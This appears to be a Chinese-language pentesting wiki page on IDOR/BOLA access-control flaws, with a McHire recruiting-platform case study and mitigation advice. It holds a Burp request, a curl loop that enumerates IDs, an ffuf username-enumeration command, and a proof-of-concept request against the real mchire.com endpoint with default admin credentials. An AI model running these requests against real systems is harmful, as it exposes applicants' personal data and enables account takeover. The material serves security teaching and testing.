IDOR (Insecure Direct Object Reference)

Reading time: 7 minutes

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) 出现在当 web 或 API endpoint 泄露或接受一个可被用户控制的标识符，该标识符被 直接 用于访问内部对象，且 未验证调用者是否有权 访问/修改该对象。成功利用通常允许横向或纵向的 privilege-escalation，例如读取或修改其他用户的数据，在最坏情况下可能导致 full account takeover 或 mass-data exfiltration。

1. 识别潜在的 IDORs

1. 寻找 引用对象的参数：

• Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
• Query: ?id=42, ?invoice=2024-00001
• Body / JSON: {"user_id": 321, "order_id": 987}
• Headers / Cookies: X-Client-ID: 4711

2. 优先针对 读取或更新 数据的 endpoints（GET, PUT, PATCH, DELETE）。
3. 注意标识符是否为 顺序或可预测 —— 如果你的 ID 是 64185742，那么 64185741 很可能存在。
4. 探索隐藏或备用流程（例如登录页面中的 "Paradox team members" 链接），这些可能会暴露额外的 APIs。
5. 使用一个 已认证的低权限会话，只修改 ID，保持相同的 token/cookie。未返回授权错误通常是 IDOR 的征兆。

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自动化枚举 (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

当一个 download endpoint 同时接受 username 和 filename（例如 /view.php?username=<u>&file=<f>）时，错误消息中的细微差异常常会产生一个 oracle：

• 不存在的 username → "User not found"
• 错误的 filename 但 extension 有效 → "File does not exist" (有时也会列出可用文件)
• 错误的 extension → validation error

使用任何 authenticated session，你可以在保持一个 benign filename 的同时 fuzz username 参数，并根据 "User not found" 字符串进行筛选以发现有效用户：

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

一旦识别出有效的用户名，就可以直接请求特定文件（例如 /view.php?username=amanda&file=privacy.odt）。这种模式通常会导致其他用户的文档被未授权披露并造成凭证泄露。

2. 真实案例研究 – McHire Chatbot Platform (2025)

在对 Paradox.ai 支持的 McHire 招聘门户进行评估时，发现了以下 IDOR：

• 端点: PUT /api/lead/cem-xhr
• Authorization: 用于 any 餐厅测试账户的用户会话 cookie
• 请求体参数: {"lead_id": N} – 8 位、顺序的数字标识符

通过减小 lead_id 的值，测试人员检索到了任意申请者的 完整的 PII（姓名、电子邮件、电话、地址、班次偏好），以及一个允许进行 session hijacking 的消费者 JWT。枚举范围 1 – 64,185,742 暴露了大约 64 million 条记录。

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

结合授予测试账户访问权限的默认管理员凭据（123456:123456），该漏洞导致了严重的、影响全公司的数据泄露。

3. IDOR / BOLA 的影响

• 横向权限提升 – 读取/更新/删除 其他用户 的数据。
• 纵向权限提升 – 低权限用户获得仅管理员可用的功能。
• 如果标识符是顺序的（例如申请人 ID、发票），可能导致大规模数据泄露。
• 通过窃取令牌或重置其他用户密码实现账户接管。

4. 缓解措施与最佳实践

1. 在每个请求上强制对象级授权（user_id == session.user）。
2. 优先使用间接且不可猜测的标识符（UUIDv4、ULID），而不是自增 ID。
3. 在服务器端执行授权，切勿依赖隐藏表单字段或 UI 控件。
4. 在中心中间件中实现 RBAC / ABAC 检查。
5. 添加速率限制和日志记录以检测 ID 枚举。
6. 对每个新端点进行安全测试（单元测试、集成测试以及 DAST）。

5. 工具

• BurpSuite 扩展: Authorize, Auto Repeater, Turbo Intruder.
• OWASP ZAP: Auth Matrix, Forced Browse.
• Github 项目: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

参考资料

• McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
• OWASP Top 10 – Broken Access Control
• How to Find More IDORs – Vickie Li
• HTB Nocturnal: IDOR oracle → file theft